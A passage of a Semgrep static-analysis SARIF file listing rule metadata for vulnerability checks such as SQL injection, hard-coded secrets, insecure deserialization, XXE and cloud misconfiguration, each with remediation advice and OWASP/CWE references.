instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","id":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","name":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","id":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","name":"javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.passport-jwt.security.passport-hardcode.hardcoded-passport-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"help":{"markdown":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8#remarks)\n","text":"The SoapFormatter type is dangerous and is not recommended for data processing. Applications should stop using SoapFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. SoapFormatter is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","id":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","name":"csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.soap-formatter.insecure-soapformatter-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","id":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","name":"python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pg8000.python-pg8000-empty-password.python-pg8000-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"help":{"markdown":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/sqs_queue_policy)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-security-best-practices.html)\n","text":"Wildcard used in your SQS queue policy principal. This grants access to all users, including anonymous users (public access). Unless you explicitly require anyone on the internet to be able to read or write to your queue, limit principals, actions and resources to what you need according to least privilege."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","id":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","name":"terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sqs-queue-policy-wildcard-principal.aws-sqs-queue-policy-wildcard-principal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using the Django object-relational mappers (ORM) instead of raw SQL queries."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-sql-string.tainted-sql-string","id":"python.django.security.injection.tainted-sql-string.tainted-sql-string","name":"python.django.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","id":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","name":"python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.cassandra.python-cassandra-hardcoded-secret.python-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","id":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","name":"typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-push.react-nextjs-router-push"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-connection-django.sqlobject-connection-django","id":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","name":"python.django.db.sqlobject-connection-django.sqlobject-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-connection-django.sqlobject-connection-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"help":{"markdown":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection)\n - [https://cwe.mitre.org/data/definitions/323.html](https://cwe.mitre.org/data/definitions/323.html)\n","text":"GCM detected, please check that IV/nonce is not reused, an Initialization Vector (IV) is a nonce used to randomize the encryption, so that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts are different.Unlike the Key, the IV usually does not need to be secret, rather it is important that it is random and unique. Certain encryption schemes the IV is exchanged in public as part of the ciphertext. Reusing same Initialization Vector with the same Key to encrypt multiple plaintext blocks allows an attacker to compare the ciphertexts and then, with some assumptions on the content of the messages, to gain important information about the data being encrypted."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.gcm-detection.gcm-detection","id":"kotlin.lang.security.gcm-detection.gcm-detection","name":"kotlin.lang.security.gcm-detection.gcm-detection","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.gcm-detection.gcm-detection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"help":{"markdown":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)\n","text":"Ensure that groups of actions that include iam:PassRole and could result in privilege escalation are not all allowed for the same user. These actions could result in an attacker gaining full admin access of an AWS account. Try not to use these actions in conjuction."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","id":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","name":"terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-roles.no-iam-priv-esc-roles"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-password.detected-artifactory-password","id":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","name":"generic.secrets.security.detected-artifactory-password.detected-artifactory-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-password.detected-artifactory-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"help":{"markdown":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Checks for unsafe deserialization. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of load and object_load can cause remote code execution. Loading user input with MARSHAL or CSV can potentially be dangerous. Use JSON in a secure fashion instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.bad-deserialization.bad-deserialization","id":"ruby.lang.security.bad-deserialization.bad-deserialization","name":"ruby.lang.security.bad-deserialization.bad-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.bad-deserialization.bad-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket."},"help":{"markdown":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html](https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteAccessPermissionsReqd.html)\n","text":"Detected public S3 bucket policy. This policy allows anyone to access certain properties of or items in the bucket. Do not do this unless you will never have sensitive data inside the bucket."},"helpUri":"https://semgrep.dev/r/json.aws.security.public-s3-policy-statement.public-s3-policy-statement","id":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","name":"json.aws.security.public-s3-policy-statement.public-s3-policy-statement","properties":{"precision":"very-high","tags":["CWE-264: CWE CATEGORY: Permissions, Privileges, and Access Controls","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: json.aws.security.public-s3-policy-statement.public-s3-policy-statement"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"help":{"markdown":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n - [https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati](https://developer.apple.com/documentation/webkit/wkpreferences/1536573-javascriptcanopenwindowsautomati)\n","text":"Webviews were observed that explictly allow JavaScript in an WKWebview to open windows automatically. Consider disabling this functionality if not required, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","id":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","name":"swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-js-window.swift-webview-config-allows-js-open-windows"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://x-stream.github.io/security.html](https://x-stream.github.io/security.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `XStream` unless you explicitly define permissions for types that are allowed to be deserialized by `XStream`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","id":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","name":"java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xstream-anytype-deserialization-deepsemgrep.xstream-anytype-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"help":{"markdown":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher)\n - [https://golang.org/pkg/crypto/tls/#InsecureCipherSuites](https://golang.org/pkg/crypto/tls/#InsecureCipherSuites)\n","text":"Detected an insecure CipherSuite via the 'tls' module. This suite is considered weak. Use 